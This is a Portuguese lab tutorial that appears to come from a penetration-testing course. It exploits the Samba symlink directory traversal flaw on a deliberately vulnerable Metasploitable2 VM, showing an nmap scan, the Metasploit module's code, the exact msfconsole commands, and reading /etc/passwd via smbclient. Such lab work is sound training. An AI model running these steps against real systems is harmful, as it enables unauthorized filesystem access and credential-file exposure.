Introdução
Neste laboratório, você aprenderá como explorar uma nova vulnerabilidade do Samba na máquina alvo Metasploitable2. Ao longo do processo, você receberá capturas de tela para cada etapa. Ao concluir este laboratório, você obterá experiência prática no uso de ferramentas para explorar a vulnerabilidade do Samba.
Este curso é um tutorial experimental puramente prático. Para ajudá-lo a entender as operações no experimento, alguma teoria de segurança da informação será introduzida, e os artigos mais valiosos serão recomendados para você ler enquanto pratica.
Iniciar o Ambiente do Experimento
Nesta etapa, você iniciará a máquina de ataque (container Kali Linux) e a máquina alvo (máquina virtual Metasploitable2) para o experimento.
- Abra um terminal xfce na máquina host LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2
Aguarde o início da máquina alvo, pode levar de 1 a 3 minutos.
- Teste a conectividade com a máquina alvo fazendo ping nela:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
- Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
- Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar o teste de penetração.
Observação: Se você sair acidentalmente do bash atual, o container Kali parará automaticamente. Você pode executar docker run -ti --network host b5b709a49cd5 bash novamente no host para iniciar um novo container Kali e entrar no bash para continuar o experimento.
Verificar o Host Alvo em Busca de Vulnerabilidades
Nesta etapa, você usará o Nmap para escanear o host alvo em busca de vulnerabilidades.
Primeiro, faça login no terminal MSF no ambiente LabEx Kali:
cd ~
service postgresql start
msfdb init
msfconsole
Coletar informações sobre o host alvo é o primeiro passo no teste de penetração. Use o Nmap para escanear o host alvo em busca de vulnerabilidades e salve os resultados da varredura no arquivo /tmp/report.txt inserindo o seguinte comando:
nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt
Os parâmetros usados aqui têm os seguintes significados:
| Parâmetro | Descrição |
|---|---|
-p |
Especifica a faixa de portas a serem escaneadas |
-T4 |
Define a política de tempo para a varredura Nmap, com valores de 0-5 (quanto maior, mais rápido) |
-A |
Habilita a detecção do sistema operacional e a detecção da versão |
-v |
Exibe informações detalhadas durante o processo de varredura |
>/tmp/report.txt |
Redireciona a saída para um arquivo para análise posterior |
Este processo pode levar algum tempo porque uma ampla gama de portas está sendo escaneada para coleta abrangente de informações. Por favor, seja paciente e aguarde um a dois minutos.
Após a conclusão da varredura, pressione Ctrl+D use o comando cat para visualizar o conteúdo do arquivo no terminal LabEx Kali:
cat /tmp/report.txt
Você deve ver informações semelhantes às seguintes no texto:
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Isso indica que as portas 139 e 445 estão executando o serviço Samba.
Analisar a Vulnerabilidade do Samba
Nesta etapa, você aprenderá sobre a vulnerabilidade Samba e analisará o código principal do módulo de exploit.
Samba é um software livre que permite que sistemas operacionais semelhantes ao UNIX se conectem com o protocolo de rede SMB/CIFS (Server Message Block/Common Internet File System) usado pelo Microsoft Windows. A versão 3 não apenas permite o acesso e o compartilhamento de pastas e impressoras SMB, mas também pode se integrar a um domínio do Windows Server como um Controlador de Domínio ou ingressar em um Active Directory como membro. Em termos mais simples, este software preenche a lacuna entre o Windows e sistemas operacionais semelhantes ao UNIX, permitindo o compartilhamento de recursos entre os dois.
O Samba tem uma ampla gama de aplicações e, portanto, as vulnerabilidades no Samba podem ter um impacto significativo. O Samba pode criar compartilhamentos de rede para diretórios Unix selecionados (incluindo todos os subdiretórios). Este recurso permite que os usuários do Windows acessem esses diretórios Unix pela rede, assim como acessam pastas regulares do Windows.
O índice de vulnerabilidade usado neste experimento é:
O índice do código-fonte para o módulo samba usado neste experimento é:
Vamos analisar a explicação do código principal:
## Informações de inicialização do módulo, incluindo informações do autor e introdução do módulo
def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' ## metasploit module
],
'References' =>
[
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)
## Register option information
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
], self.class)
end
## Main execution function
def run
## Function to connect to the server
print_status("Connecting to the server...")
connect()
smb_login()
## Connect to the target host
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
## Attempt to enter the root filesystem
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
## Print success message after successful entry
print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
Após explicar o código principal do módulo, vamos realizar a exploração real no terminal MSF inserindo os seguintes comandos:
search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options
Defina o host alvo:
set RHOST 192.168.122.102
Selecione o diretório compartilhado:
set SMBSHARE tmp
Observação: Como lembrete, o impacto desta vulnerabilidade Samba é que ela permite a criação de compartilhamentos de rede para diretórios Unix selecionados (incluindo todos os subdiretórios).
Depois de definir todos os parâmetros necessários, você pode prosseguir com a exploração da vulnerabilidade:
exploit
Se for bem-sucedido, você deverá ver a seguinte mensagem:
[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:
Após a exploração bem-sucedida, saia com o comando exit e teste se você pode se conectar usando smbclient no terminal. Você será solicitado a inserir uma senha, mas pode pressionar Enter sem inserir nenhuma senha:
exit
smbclient //192.168.122.102/tmp
Depois de conectado, você pode verificar o acesso ao sistema de arquivos raiz executando o seguinte comando:
more rootfs/etc/passwd
Você deve ver uma saída semelhante a:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]
Isso confirma que você explorou com sucesso a vulnerabilidade e obteve acesso ao host alvo por meio do compartilhamento de rede criado.
Pressione Ctrl+D para sair do console Metasploit e iniciar a inspeção
Resumo
Neste laboratório, você aprendeu sobre a vulnerabilidade Samba no Metasploitable2 e foi guiado pelo processo de exploração dessa vulnerabilidade na máquina alvo usando as etapas originais. Em seguida, você usou o compartilhamento de rede criado para fazer login no host alvo comprometido. Os pontos-chave abordados neste laboratório incluem:
- Comandos básicos do Linux
- Varredura de vulnerabilidade Nmap
- Análise da vulnerabilidade Samba escaneada
- Explicação do código principal do módulo
symlink_traversal - Login no host alvo usando o compartilhamento de arquivos de rede
Recomenda-se que você pratique essas etapas repetidamente para fortalecer sua compreensão do processo de teste de penetração. A seção de leitura recomendada fornece recursos adicionais para você aprofundar seu conhecimento sobre as vulnerabilidades do Samba.



